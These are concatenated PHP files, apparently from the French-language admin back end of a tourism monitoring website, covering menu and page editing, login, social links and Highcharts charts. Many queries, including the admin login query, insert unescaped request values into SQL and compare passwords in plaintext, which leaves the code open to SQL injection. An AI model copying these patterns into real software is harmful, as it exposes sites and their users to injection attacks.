/** * Sélectionner les sous-menus d'un menu */ function selectSousMenus($idParent){ $requete = "SELECT * FROM menu WHERE fk_menu_parent = $idParent ORDER BY menu_position"; $resultats = executeSQL($requete); return $resultats; } /** * Sélectionner les informations d'un menu */ function selectInfosMenu($idMenu){ $requete = "SELECT * FROM menu WHERE id_menu = $idMenu"; $resultats = executeSQL($requete); return $resultats; } /** * Sélectionner les informations d'une page */ function selectInfosPage($idMenu){ $requete = "SELECT * FROM page WHERE fk_menu = $idMenu"; $resultats = executeSQL($requete); return $resultats; } function updateMenuValues($id, $title_fr, $title_de){ $title_fr = utf8_decode($title_fr); $title_fr = mysql_real_escape_string($title_fr); $title_de = utf8_decode($title_de); $title_de = mysql_real_escape_string($title_de); $strSQL = "UPDATE menu set " . "menu_name_fr = '$title_fr', " . "menu_name_de = '$title_de' " . "where id_menu = $id"; executeSQL($strSQL); } function updatePageValues($id, $text_fr, $text_de){ $text_fr = utf8_decode($text_fr); $text_fr = mysql_real_escape_string($text_fr); $text_de = utf8_decode($text_de); $text_de = mysql_real_escape_string($text_de); $strSQL = "UPDATE page set " . "page_content_fr = '$text_fr', " . "page_content_de = '$text_de' " . "where fk_menu = $id"; executeSQL($strSQL); } /******************************************************************************* ******************************************************************************* ******************************* Languages ************************************* ******************************************************************************* ******************************************************************************/ function getAllLanguages(){ //SQL Query $strSQL = "Select * ". "FROM language "; $languages = executeSQL($strSQL); return $languages; } /******************************************************************************* ******************************************************************************* ******************************* Connexion ************************************* ******************************************************************************* ******************************************************************************/ function getInfosLogin($username, $pwd){ //SQL query $strSQL = "SELECT * " . "FROM user " . "where user_admin = 1 " . "and user_login = '$username' " . "and user_password = '$pwd'"; $result = executeSQL($strSQL); return $result; } /******************************************************************************* ******************************************************************************* ********************************* Charts ************************************** ******************************************************************************* ******************************************************************************/ function listCharts(){ //SQL query $strSQL = "SELECT * " . "FROM chart, chart_type " . "WHERE fk_chart_type = id_chart_type"; $chartsInfo = executeSQL($strSQL); return $chartsInfo; } function listChartTypes(){ //SQL query $strSQL = "SELECT * " . "FROM chart_type "; $chartTypes = executeSQL($strSQL); return $chartTypes; } function updateChartType($idChart, $idType){ //SQL Query $strSQL = "UPDATE chart SET " . "fk_chart_type = $idType " . "WHERE id_chart = $idChart"; executeSQL($strSQL); } function deleteChart($idChart){ //SQL Query $strSQL = "DELETE FROM chart " . "WHERE id_chart = $idChart"; executeSQL($strSQL); } ?><file_sep><?php /** * Sélectionner les menus parents */ function selectMenusParents(){ $requete = "SELECT * FROM menus WHERE Parent IS NULL ORDER BY Position"; $resultats = select($requete); return $resultats; } /** * Sélectionner les sous-menus d'un menu */ function selectSousMenus($idParent){ $requete = "SELECT * FROM menus WHERE Parent = $idParent ORDER BY Position"; $resultats = select($requete); return $resultats; } /** * Ajouter un menu */ function insertMenu($menu, $parent, $page){ $menu = utf8_decode($menu); $menu = mysql_real_escape_string($menu); $page = utf8_decode($page); $page = mysql_real_escape_string($page); // Récupérer la dernière position $position = selectDernierePosition($parent); $position ++; $requete = "INSERT INTO menus (Menu, Parent, Page, Modifiable, Position) VALUES ('$menu', $parent, '$page', 1, $position)"; $idProduit = insertion($requete); } /** * Modifier le nom d'un menu */ function editerMenu($menu, $idMenu){ $menu = utf8_decode($menu); $menu = mysql_real_escape_string($menu); $requete = "UPDATE menus SET Menu = '$menu' WHERE IdMenu = $idMenu"; requete($requete); } /** * Sélectionner l'indice du dernier menu ou sous-menu */ function selectDernierePosition($parent){ if($parent == "NULL") $requete = "SELECT MAX(Position) FROM menus WHERE Parent IS NULL"; else $requete = "SELECT MAX(Position) FROM menus WHERE Parent = $parent"; $resultats = select($requete); $resultats = mysql_fetch_assoc($resultats); $resultats = $resultats['MAX(Position)']; return $resultats; } /** * Déplacer un menu */ function deplacerMenu($parent, $anciennePosition, $nouvellePosition){ if($parent == "NULL") $requete = "UPDATE menus SET Position = $nouvellePosition WHERE Parent IS NULL AND Position = $anciennePosition"; else $requete = "UPDATE menus SET Position = $nouvellePosition WHERE Parent = $parent AND Position = $anciennePosition"; requete($requete); } /** * Sélectionner les informations d'un menu */ function selectInfosMenu($idMenu){ $requete = "SELECT * FROM menus WHERE IdMenu = $idMenu"; $resultats = select($requete); return $resultats; } /** * Supprimer un menu et ses sous-menus */ function supprimerMenu($idMenu){ $requete = "DELETE FROM menus WHERE Parent = $idMenu OR IdMenu = $idMenu"; requete($requete); } ?><file_sep><?php //include header include_once 'includes/header.inc.php'; //include excelReader require_once 'includes/phpReader/reader.php'; //read test file $data = new Spreadsheet_Excel_Reader(); $data->read('documents/test_citi.xls'); for ($i = 1; $i <= $data->sheets[0]['numRows']; $i++) { for ($j = 1; $j <= $data->sheets[0]['numCols']; $j++) { $array_xls[$i][$j - 1] = $data->sheets[0]['cells'][$i][$j]; } } //get series values for($i=1; $i < count($array_xls[1]); $i++){ $series_title[$i-1] = $array_xls[1][$i]; } $series_values = "{\nname: '"; for($j=1; $j<count($array_xls[1]);$j++){ $series_values .= $series_title[$j-1] . "', \n"; //customise color for "Valais" if($series_title[$j-1] == "Valais"){ $series_values .= "color: '#ff0000',"; } //customise style for "Reservations" if($series_title[$j-1] == "Reservations"){ $series_values .= "color: '#ff0000', dashStyle: 'dash', "; } $series_values .= " \ndata: ["; for($k=2; $k<=count($array_xls); $k++){ $series_values .= $array_xls[$k][$j]; if($k < count($array_xls)) $series_values .= ","; } $series_values .= "]\n}"; if($j < count($array_xls[1])-1) $series_values .= ", {\n name: '"; } $series_text = "["; for($i=2; $i <= count($array_xls); $i++){ $series_text .= "'" . $array_xls[$i][0] . "'"; if($i < count($array_xls)){ $series_text .= ","; } $series[$i-1] = $array_xls[$i][0]; } $series_text .= "]"; ?> <script type="text/javascript"> $(function() { $('#container').highcharts({ title: { text: 'Évolution des nuitées parahôtelières', x: 0 }, subtitle:{ text: 'Source des données: CITI (4500 objets dans le valais romand)' }, xAxis: { categories: <?php echo $series_text; ?> }, series: [<?php echo $series_values; ?>], credits: { text: '© <NAME>' } }) }) </script> <h1>Test tourobs</h1></br> <div id="container" style="min-width: 310px; max-width: 80%; height: 400px; margin: 0 auto;"></div> <?php //include footer include_once 'includes/footer.inc.php'; ?><file_sep><?php session_start(); //Delete sessions variables session_destroy(); //redirect to homepage echo "<meta http-equiv=\"refresh\" content=\"0; URL='home/index.php'\">"; ?> <file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; dbConnect(); $idMenuModifie = 0; $infoSauvegarde = ""; // Modification d'une page if(isset($_POST['contenuEditor'])){ // Récupérer la page modifiée et l'identifiant du menu $contenuModifie = $_POST['contenuEditor']; $idMenuModifie = $_POST['idMenu']; $title_fr = $_POST['menu_name_fr']; $title_de = $_POST['menu_name_de']; //Get page text to save it $text_fr = $_POST['editorfr']; $text_de = $_POST['editorde']; //Save menu changes updateMenuValues($idMenuModifie, $title_fr,$title_de); //Save page changes updatePageValues($idMenuModifie, $text_fr,$text_de); $infoSauvegarde = "<p>"; $infoSauvegarde .= "<img src='../images/icons/check.png' "; $infoSauvegarde .= "style='height: 25px; vertical-align: bottom;'/> "; $infoSauvegarde .= "Modifications enregistrées"; $infoSauvegarde .= "</p>"; } ?> <div id="modifSauvees"> <?php echo $infoSauvegarde; ?> </div> <h1>Gestion des menus et des pages</h1> <h2> Nouveau menu </h2> <p> Nom du menu : <input type="text" id="nomMenu"/> Parent : <select id="parentMenu"> <option value="0"> Aucun parent </option> <?php // Récupérer les menus $parentMenus = getAllParentPages(); while($menu = mysql_fetch_assoc($parentMenus)){ $idParent = $menu['id_menu']; echo "<option value='$idParent'>"; echo utf8_encode($menu['menu_name_fr']); echo "</option>"; } ?> </select> type: <select id="typeMenu"> <?php // Récupérer les types de menus $pageTypes = getAllPagesTypes(); while($pageType = mysql_fetch_assoc($pageTypes)){ $idtype = $pageType['id_page_type']; echo "<option value='$idtype'>"; echo utf8_encode($pageType['page_type_name_fr']); echo "</option>"; } ?> </select> <button onclick="ajouterMenu();">Ajouter</button> </p> <table id="tablePageMenus"> <tr> <td style="border-right: 1px solid lightgrey; padding-left: 0;"> <h2> Edition des menus </h2> <table id="tableMenus"> <?php // R�cup�rer les menus $menus = getAllParentPages(); //Menu position $positionMenu = selectLastParentPosition("NULL"); $parent = 0; while($menu = mysql_fetch_assoc($menus)){ $position = $menu['menu_position']; $idMenu = $menu['id_menu']; // Afficher le menu echo "<tr>"; if($position == $positionMenu) echo "<td class='last'>"; else echo "<td>"; // Flèche pour descendre le menu if($position != $positionMenu) echo "<img src='../images/icons/flecheBas.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='descendreMenu($position, $parent);'/>"; // Flèche pour monter le menu if($position != 1) echo "<img src='../images/icons/flecheHaut.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='monterMenu($position, $parent);'/>"; echo "</td>"; echo "<td class='menu' colspan='2'>"; $nomMenu = utf8_encode($menu['menu_name_fr']); echo "<input type='text' id='$idMenu' style='font-weight: bold; width: 120px;' value=\"$nomMenu\" onchange='editerMenu($idMenu);'>"; if($menu['menu_modif'] == 1){ echo " "; // Modifier echo " <img src='../images/icons/edit.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='modifierMenu($idMenu);'/>"; } // Si le menu est modifiable, on peut le supprimer if($menu['menu_modif'] == 1){ echo " <img src='../images/icons/delete.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='supprimerMenu($idMenu);'/>"; } echo "</td>"; echo "</tr>"; // Récupérer les sous-menus $sousMenus = selectSousMenus($menu['id_menu']); // Dernière position sous-menus $positionSousMenu = selectLastParentPosition($menu['id_menu']); while($sousMenu = mysql_fetch_assoc($sousMenus)){ $position = $sousMenu['menu_position']; $parent = $menu['id_menu']; $idMenu = $sousMenu['id_menu']; // Afficher le sous-menu echo "<tr>"; echo "<td/>"; if($position == $positionSousMenu) echo "<td class='last'>"; else echo "<td>"; // Flèche pour descendre le menu if($position != $positionSousMenu) echo "<img src='../images/icons/flecheBas.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='descendreMenu($position, $parent);'/>"; // Fl�che pour monter le menu if($position != 1) echo "<img src='../images/icons/flecheHaut.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='monterMenu($position, $parent);'/>"; echo "</td>"; echo "<td class='sousMenu'>"; $nomMenu = utf8_encode($sousMenu['menu_name_fr']); echo "<input type='text' id='$idMenu' style='width: 120px;' value=\"$nomMenu\" onchange='editerMenu($idMenu);'>"; // Si le menu est modifiable, on peut le modifier ou le supprimer if($sousMenu['menu_modif'] == 1){ echo " "; // Modifier echo " <img src='../images/icons/edit.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='modifierMenu($idMenu);'/>"; // Supprimer echo " <img src='../images/icons/delete.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='supprimerMenu($idMenu);'/>"; } echo "</td>"; echo "</tr>"; } } ?> </table> </td> </tr> <tr> <td style="padding-right: 0;" id="colonneEditor"> <h2> Edition de la page </h2> <form method="POST" id="formEditor"> Titre de la page: <input type="text" name="menu_name_fr" id="menu_name_fr" /> Seite Titel: <input type="text" name="menu_name_de" id="menu_name_de" /> </br> <!-- Editeur de texte --> Texte en français: <textarea name="editorfr" id="editorfr"> </textarea> </br> <!-- Editeur de texte --> Texte en Allemand: <textarea name="editorde" id="editorde"> </textarea> <input id="contenuEditor" name="contenuEditor" hidden="true"/> <input id="idMenu" name="idMenu" hidden="true" value="<?php echo $idMenuModifie; ?>"/> <p> <button id="buttonEditor">Sauver les modifications</button> </p> </form> </td> </tr> </table> <script type="text/javascript"> /** * Ajouter un menu */ function ajouterMenu(){ var nomMenu = $("#nomMenu").val(); if(nomMenu != ""){ //var nomMenuSansAccent = removeDiacritics(nomMenu); var parent = $("#parentMenu").val(); var type = $("#typeMenu").val(); // Ajout du menu $.ajax({ url: '../includes/Ajax/gestionMenus.php', data: "menu=" + nomMenu + "&typeMenu=" + type + "&parent=" + parent + "&type=a", success: function(data){ if(data == "existe") alert("Ce menu existe déjà") else document.location.href = ""; } }); } } /** * Descendre le menu */ function descendreMenu(position, parent){ $.ajax({ url: '../includes/Ajax/gestionMenus.php', data: "position=" + position + "&parent=" + parent + "&type=d", success: function(data){ document.location.href = ""; } }); } /** * Monter le menu */ function monterMenu(position, parent){ $.ajax({ url: '../includes/Ajax/gestionMenus.php', data: "position=" + position + "&parent=" + parent + "&type=m", success: function(data){ document.location.href = ""; } }); } /** * Supprimer le menu et tous les sous-menus */ function supprimerMenu(idMenu){ // Demander une confirmation avant la suppression var texteConf = "En supprimant ce menu, tous les sous-menus seront également "; texteConf += "supprimés. Les différentes pages ne pourront pas être récupérées."; var conf = confirm(texteConf); if(conf == true){ $.ajax({ url: '../includes/Ajax/gestionMenus.php', data: "id=" + idMenu + "&type=sm", async: false, success: function(data){ document.location.href = ""; } }); } $("#colonneEditor").hide(); } /** * Modifier la page */ function modifierMenu(idMenu){ $("#idMenu").val(idMenu); $.ajax({ url: '../includes/Ajax/gestionMenus.php', data: "id=" + idMenu + "&type=mod", async: false, success: function(data){ var page_infos = data.split(";;;"); $("#menu_name_fr").val(page_infos[1]); $("#menu_name_de").val(page_infos[2]); CKEDITOR.instances.editorfr.setData(page_infos[3]); CKEDITOR.instances.editorde.setData(page_infos[4]); } }); $("#colonneEditor").show(); } $(document).ready(function(){ // Afficher l'éditeur de texte CKEDITOR.replace('editorfr'); CKEDITOR.replace('editorde'); if($("#idMenu").val() == "0"){ $("#colonneEditor").hide(); } else { $("#colonneEditor").show(); modifierMenu($("#idMenu").val()); } // Faire dispara�tre le message indiquant que la sauvegarde a r�ussi setTimeout(function() { $("#modifSauvees").fadeOut("slow"); }, 3000); }); </script> <?php dbDisconnect(); include_once '../includes/footer.inc.php'; ?><file_sep><?php session_start(); //Check if logged in if(!isset($_SESSION['logged']) || $_SESSION['logged'] != 'ok'){ //redirect to login page if(!strpos($_SERVER['PHP_SELF'],'login.php')){ //redirection echo "<meta http-equiv=\"refresh\" content=\"0; URL='../home/login.php'\">"; } } ?> <!-- ******************************************************************************** ** Author: FAP ** Date: 14.02.2014 ** Goal: Contains header for monitoring.tourobs.ch ******************************************************************************** --> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8" /> <title>Tourobs.ch - Monitoring</title> <!-- Styles for website --> <link href="../../styles/global.css" type="text/css" rel="stylesheet" /> <link href="../../styles/mainNav.css" type="text/css" rel="stylesheet" /> <link href="../../styles/footer.css" type="text/css" rel="stylesheet" /> <link href="../../styles/HomeCredit.css" type="text/css" rel="stylesheet" /> <link href="../includes/jqueryFileTree/jqueryFileTree.css" type="text/css" rel="stylesheet" /> <link href="//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css" rel="stylesheet"> <!-- javascript for webpage --> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script> <script type="text/javascript" src="../../includes/highcharts/highcharts.js"></script> <script type="text/javascript" src="../../includes/highcharts/modules/exporting.js"></script> <script type="text/javascript" src="../includes/jqueryFileTree/jqueryFileTree.js"></script> <script src="http://widgets.twimg.com/j/2/widget.js"></script> <script type="text/javascript" src="../includes/ckeditor/ckeditor.js"></script> </head> <body data-twttr-rendered="true" style> <div class="mainCenter" align="center"> <div id="mainSITE"> <a class="mainLogoHome" href="../home/index.php"></a> <div class="headerNav"> <?php if(isset($_SESSION['logged']) && $_SESSION['logged'] == 'ok'){ ?> <ul id="topnav"> <li><a href="../General/" class="mainNav">Général</a></li> <li><a href="../Pages/menus.php" class="mainNav">Pages</a></li> <li><a href='../charts/index.php' class="mainNav">Graphiques</a></li> <li><span class="mainNav">Data Warehouse</span></li> </ul> <div id='languages'> <a href='../logout.php'><img src='../images/icons/logout.png' alt='Logout' width='32px'/></a> </div> <?php } ?> </div> </div> <div id="underHeader"> <span></span> </div> <div class="mainContent CONTENT-LEFT"> <div id="contentArea"><span> <file_sep><?php include_once '../includes/function.inc.php'; include_once '../includes/header.inc.php'; ?> <h2>Gestion des langues</h2> <?PHP //connect to db $link = dbConnect(); //Get infos about all languages $languages = getAllLanguages(); //print social data infos while($language = mysql_fetch_assoc($languages)){ //French name of language echo "FR: <input type='text' name='fr_".$language['id_language']."' id='fr_".$language['id_language']."' value='".utf8_encode($language['lang_fr'])."'>\n"; //German name of language echo "DE: <input type='text' name='de_".$language['id_language']."' id='de_".$language['id_language']."' value='".utf8_encode($language['lang_de'])."'>\n"; //Icon echo "image: <img src='../../".$language['lang_pic']."' alt='".$language['lang_iso2']."'>"; echo "</br>"; } //Disconnect from db dbDisconnect(); include_once '../includes/footer.inc.php'; ?><file_sep><?php include_once '../function.inc.php'; dbConnect(); $type = $_GET['type']; if(isset($_GET['social'])) $social = $_GET['social']; if(isset($_GET['menuSansAccent'])){ $page = $_GET['menuSansAccent']; $page = ucwords($page); $page = str_replace(" ", "", $page); } if(isset($_GET['position'])) $position = $_GET['position']; if(isset($_GET['id'])) $idSocial = $_GET['id']; if(isset($_GET['typeMenu'])) $typePage = $_GET['typeMenu']; // Monter le réseau if($type == "m"){ $nouvellePosition = $position - 1; changeSocialPosition($position, 0); changeSocialPosition($nouvellePosition, $position); changeSocialPosition(0, $nouvellePosition); } // Descendre un réseau if($type == "d"){ $nouvellePosition = $position + 1; changeSocialPosition($position, 0); changeSocialPosition($nouvellePosition, $position); changeSocialPosition(0, $nouvellePosition); } //éditer un réseau if($type == "e"){ editSocialName($idSocial, $social); } //éditer un réseau if($type == "el"){ editSocialLink($idSocial, $social); } //éditer un réseau if($type == "es"){ editSocialActive($idSocial, $social); } //éditer un réseau if($type == "ep"){ editSocialPic($idSocial, $social); } dbDisconnect(); ?> <file_sep><!-- ******************************************************************************** ** Author: FAP ** Date: 14.02.2014 ** Goal: Contains footer for monitoring.tourobs.ch ******************************************************************************** --> </span></div> </div><!-- END of mainCenter --> <div id="mainFooter"> <div id="upperContentFooterGraphic"></div> <div></div> <div id="contentFooter"> <div id="navFooter"> <div class="footerNav"> <div class="WIDGET_socialLink"> <?php //Get social links $dbLink = dbConnect(); $sociallinks_values = getSocialLinks_footer(); $sociallinks_text = "<ul>"; while($link = mysql_fetch_array($sociallinks_values)){ $sociallinks_text .= "<li><a href='$link[1]' target='_blank'>"; $sociallinks_text .= "<i class='fa $link[2] fa-2x'></i>"; $sociallinks_text .= "</a></li>"; } $sociallinks_text .= "</ul>"; echo $sociallinks_text; dbDisconnect(); ?> <div class="title"></div> </div> </div> </div> </div> <div id="underFooter"> <div id="homeCredit"> <a class="cantonValais" href="http://www.vs.ch/Navig/navig.asp?MenuID=11793" target="_blank" title="Canton du Valais"></a> <a class="HES_SO" href="http://www.hes-so.ch" target="_blank" title="HES-SO"></a> <a class="marqueValais" href="http://www.valais.ch" target="_blank" title="Marque Valais"></a> </div> </div> </div> </body> </html> <file_sep><?php include("../Include/headerAdmin.php"); $idMenuModifie = 0; $infoSauvegarde = ""; // Modification d'une page if(isset($_POST['contenuEditor'])){ // R�cup�rer la page modifi�e et l'identifiant du menu $contenuModifie = $_POST['contenuEditor']; $idMenuModifie = $_POST['idMenu']; // R�cup�rer le chemin du fichier $infosMenu = selectInfosMenu($idMenuModifie); $infosMenu = mysql_fetch_assoc($infosMenu); // R�cup�rer le chemin du parent $infosParent = selectInfosMenu($infosMenu['Parent']); $infosParent = mysql_fetch_assoc($infosParent); $dossier = $infosParent['Page']; // Chemin du fichier $page = $infosMenu['Page']; $fichier = "../Pages/" . $dossier . "/" . $page; // R�cup�rer le contenu de la page if(file_exists($fichier)){ $contenu = file_get_contents($fichier); $debutModif = '<!-- DEBUT DE LA PARTIE MODIFIABLE -->'; $finModif = '<!-- FIN DE LA PARTIE MODIFIABLE -->'; // R�cup�rer le d�but et la fin (parties en PHP g�n�ralement) $headerPHP = ""; $footerPHP = ""; if(strpos($contenu, $debutModif) !== false){ $headerPHP = explode($debutModif, $contenu); $headerPHP = $headerPHP[0]; } if(strpos($contenu, $finModif) !== false){ $footerPHP = explode($finModif, $contenu); $footerPHP = $footerPHP[1]; } // Remplacer les liens des images $contenuModifie = str_replace("../", "../../", $contenuModifie); // Recomposer le fichier // ! \\ NE PAS INDENTER CORRECTEMENT !!! $contenu = "$headerPHP $debutModif $contenuModifie $finModif $footerPHP"; file_put_contents($fichier, $contenu); $infoSauvegarde = "<p>"; $infoSauvegarde .= "<img src='../Affichage/Images/Icones/check.png' "; $infoSauvegarde .= "style='height: 25px; vertical-align: bottom;'/> "; $infoSauvegarde .= "Modifications enregistr�es"; $infoSauvegarde .= "</p>"; } } ?> <div id="modifSauvees"> <?php echo $infoSauvegarde; ?> </div> <h1>Gestion des menus et des pages</h1> <h2> Nouveau menu </h2> <p> Nom du menu : <input type="text" id="nomMenu"/> Parent : <select id="parentMenu"> <option value="NULL"> Aucun parent </option> <?php // R�cup�rer les menus $menus = selectMenusParents(); while($menu = mysql_fetch_assoc($menus)){ $idParent = $menu['IdMenu']; echo "<option value='$idParent'>"; echo utf8_encode($menu['Menu']); echo "</option>"; } ?> </select> <button onclick="ajouterMenu();">Ajouter</button> </p> <table id="tablePageMenus"> <tr> <td style="border-right: 1px solid lightgrey; padding-left: 0;"> <h2> Edition des menus </h2> <table id="tableMenus"> <?php // R�cup�rer les menus $menus = selectMenusParents(); // Derni�re position des menus $positionMenu = selectDernierePosition("NULL"); while($menu = mysql_fetch_assoc($menus)){ $position = $menu['Position']; $idMenu = $menu['IdMenu']; // Afficher le menu echo "<tr>"; if($position == $positionMenu) echo "<td class='last'>"; else echo "<td>"; // Fl�che pour descendre le menu if($position != $positionMenu) echo "<img src='../Affichage/Images/Icones/flecheBas.png' style='height: 13px; vertical-align: text-bottom; cursor: pointer;' onclick='descendreMenu($position, \"NULL\");'/>"; // Fl�che pour monter le menu if($position != 1) echo "<img src='../Affichage/Images/Icones/flecheHaut.png' style='height: 13px; vertical-align: text-bottom; cursor: pointer;' onclick='monterMenu($position, \"NULL\");'/>"; echo "</td>"; echo "<td class='menu' colspan='2'>"; $nomMenu = utf8_encode($menu['Menu']); echo "<input type='text' id='$idMenu' style='font-weight: bold; width: 120px;' value=\"$nomMenu\" onchange='editerMenu($idMenu);'>"; // Si le menu est modifiable, on peut le supprimer if($menu['Modifiable'] == 1){ echo " <img src='../Affichage/Images/Icones/delete.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='supprimerMenu($idMenu);'/>"; } // Accueil if($idMenu == 1){ echo " <img src='../Affichage/Images/Icones/edit.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='document.location.href=\"accueil.php\"'/>"; } echo "</td>"; echo "</tr>"; // R�cup�rer les sous-menus $sousMenus = selectSousMenus($menu['IdMenu']); // Derni�re position sous-menus $positionSousMenu = selectDernierePosition($menu['IdMenu']); while($sousMenu = mysql_fetch_assoc($sousMenus)){ $position = $sousMenu['Position']; $parent = $menu['IdMenu']; $idMenu = $sousMenu['IdMenu']; // Afficher le sous-menu echo "<tr>"; echo "<td/>"; if($position == $positionSousMenu) echo "<td class='last'>"; else echo "<td>"; // Fl�che pour descendre le menu if($position != $positionSousMenu) echo "<img src='../Affichage/Images/Icones/flecheBas.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='descendreMenu($position, $parent);'/>"; // Fl�che pour monter le menu if($position != 1) echo "<img src='../Affichage/Images/Icones/flecheHaut.png' style='height: 10px; cursor: pointer; vertical-align: text-bottom;' onclick='monterMenu($position, $parent);'/>"; echo "</td>"; echo "<td class='sousMenu'>"; $nomMenu = utf8_encode($sousMenu['Menu']); echo "<input type='text' id='$idMenu' style='width: 120px;' value=\"$nomMenu\" onchange='editerMenu($idMenu);'>"; // Si le menu est modifiable, on peut le modifier ou le supprimer if($sousMenu['Modifiable'] == 1){ echo " "; // Modifier echo " <img src='../Affichage/Images/Icones/edit.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='modifierMenu($idMenu);'/>"; // Supprimer echo " <img src='../Affichage/Images/Icones/delete.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='supprimerSousMenu($idMenu);'/>"; } // Galerie if($idMenu == 6){ echo " <img src='../Affichage/Images/Icones/edit.png' style='height: 13px; vertical-align: middle; cursor: pointer;' onclick='document.location.href=\"galerie.php\"'/>"; } echo "</td>"; echo "</tr>"; } } ?> </table> </td> <td style="padding-right: 0;" id="colonneEditor"> <h2> Edition de la page </h2> <!-- Editeur de texte --> <textarea name="editor1" id="editor1"> </textarea> <form method="POST" id="formEditor"> <input id="contenuEditor" name="contenuEditor" hidden="true"/> <input id="idMenu" name="idMenu" hidden="true" value="<?php echo $idMenuModifie; ?>"/> <p> <button id="buttonEditor">Sauver les modifications</button> </p> </form> </td> </tr> </table> <?php include("../Include/footerAdmin.php"); ?> <script type="text/javascript"> $(document).ready(function(){ // Afficher l'�diteur de texte CKEDITOR.replace( 'editor1' ); if($("#idMenu").val() == "0"){ $("#colonneEditor").hide(); } else { $("#colonneEditor").show(); modifierMenu($("#idMenu").val()); } // Faire dispara�tre le message indiquant que la sauvegarde a r�ussi setTimeout(function() { $("#modifSauvees").fadeOut("slow"); }, 3000); }); // Sauver les modifications $("#buttonEditor").click(function(){ $("#contenuEditor").val(CKEDITOR.instances.editor1.getData()); $("#formEditor").submit(); }); /** * Ajouter un menu */ function ajouterMenu(){ var nomMenu = $("#nomMenu").val(); if(nomMenu != ""){ var nomMenuSansAccent = removeDiacritics(nomMenu); var parent = $("#parentMenu").val(); // Ajout du menu $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "menu=" + nomMenu + "&menuSansAccent=" + nomMenuSansAccent + "&parent=" + parent + "&type=a", success: function(data){ if(data == "existe") alert("Ce menu existe d�j�") else document.location.href = ""; } }); } } /** * Monter le menu */ function monterMenu(position, parent){ $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "position=" + position + "&parent=" + parent + "&type=m", success: function(data){ document.location.href = ""; } }); } /** * Descendre le menu */ function descendreMenu(position, parent){ $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "position=" + position + "&parent=" + parent + "&type=d", success: function(data){ document.location.href = ""; } }); } /** * Supprimer le menu et tous les sous-menus */ function supprimerMenu(idMenu){ // Demander une confirmation avant la suppression var texteConf = "En supprimant ce menu, tous les sous-menus seront �galement "; texteConf += "supprim�s. Les diff�rentes pages ne pourront pas �tre r�cup�r�es."; var conf = confirm(texteConf); if(conf == true){ $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "id=" + idMenu + "&type=sm", async: false, success: function(data){ document.location.href = ""; } }); } $("#colonneEditor").hide(); } /** * Supprimer le sous-menu */ function supprimerSousMenu(idMenu){ // Demander une confirmation avant la suppression var texteConf = "En supprimant ce menu, la page du site correspondant "; texteConf += "sera d�finitivement supprim�e et ne pourra pas �tre r�cup�r�e."; var conf = confirm(texteConf); if(conf == true){ $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "id=" + idMenu + "&type=ssm", async: false, success: function(data){ document.location.href = ""; } }); } $("#colonneEditor").hide(); } /** * Modifier la page */ function modifierMenu(idMenu){ $("#idMenu").val(idMenu); $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "id=" + idMenu + "&type=mod", async: false, success: function(data){ CKEDITOR.instances.editor1.setData(data); } }); $("#colonneEditor").show(); } /** * Edition du nom d'un menu */ function editerMenu(idMenu){ // V�rification que le nom n'est pas vide if($("#"+idMenu).val() == "") alert("Le nom du menu ne peut pas �tre vide."); // Edition du menu else { $.ajax({ url: 'FonctionsAjax/gestionMenus.php', data: "menu=" + $("#"+idMenu).val() + "&id=" + idMenu + "&type=e" }); } } /** * Suppression des accents */ var defaultDiacriticsRemovalMap = [ {'base':'A', 'letters':/[\u0041\u24B6\uFF21\u00C0\u00C1\u00C2\u1EA6\u1EA4\u1EAA\u1EA8\u00C3\u0100\u0102\u1EB0\u1EAE\u1EB4\u1EB2\u0226\u01E0\u00C4\u01DE\u1EA2\u00C5\u01FA\u01CD\u0200\u0202\u1EA0\u1EAC\u1EB6\u1E00\u0104\u023A\u2C6F]/g}, {'base':'AA','letters':/[\uA732]/g}, {'base':'AE','letters':/[\u00C6\u01FC\u01E2]/g}, {'base':'AO','letters':/[\uA734]/g}, {'base':'AU','letters':/[\uA736]/g}, {'base':'AV','letters':/[\uA738\uA73A]/g}, {'base':'AY','letters':/[\uA73C]/g}, {'base':'B', 'letters':/[\u0042\u24B7\uFF22\u1E02\u1E04\u1E06\u0243\u0182\u0181]/g}, {'base':'C', 'letters':/[\u0043\u24B8\uFF23\u0106\u0108\u010A\u010C\u00C7\u1E08\u0187\u023B\uA73E]/g}, {'base':'D', 'letters':/[\u0044\u24B9\uFF24\u1E0A\u010E\u1E0C\u1E10\u1E12\u1E0E\u0110\u018B\u018A\u0189\uA779]/g}, {'base':'DZ','letters':/[\u01F1\u01C4]/g}, {'base':'Dz','letters':/[\u01F2\u01C5]/g}, {'base':'E', 'letters':/[\u0045\u24BA\uFF25\u00C8\u00C9\u00CA\u1EC0\u1EBE\u1EC4\u1EC2\u1EBC\u0112\u1E14\u1E16\u0114\u0116\u00CB\u1EBA\u011A\u0204\u0206\u1EB8\u1EC6\u0228\u1E1C\u0118\u1E18\u1E1A\u0190\u018E]/g}, {'base':'F', 'letters':/[\u0046\u24BB\uFF26\u1E1E\u0191\uA77B]/g}, {'base':'G', 'letters':/[\u0047\u24BC\uFF27\u01F4\u011C\u1E20\u011E\u0120\u01E6\u0122\u01E4\u0193\uA7A0\uA77D\uA77E]/g}, {'base':'H', 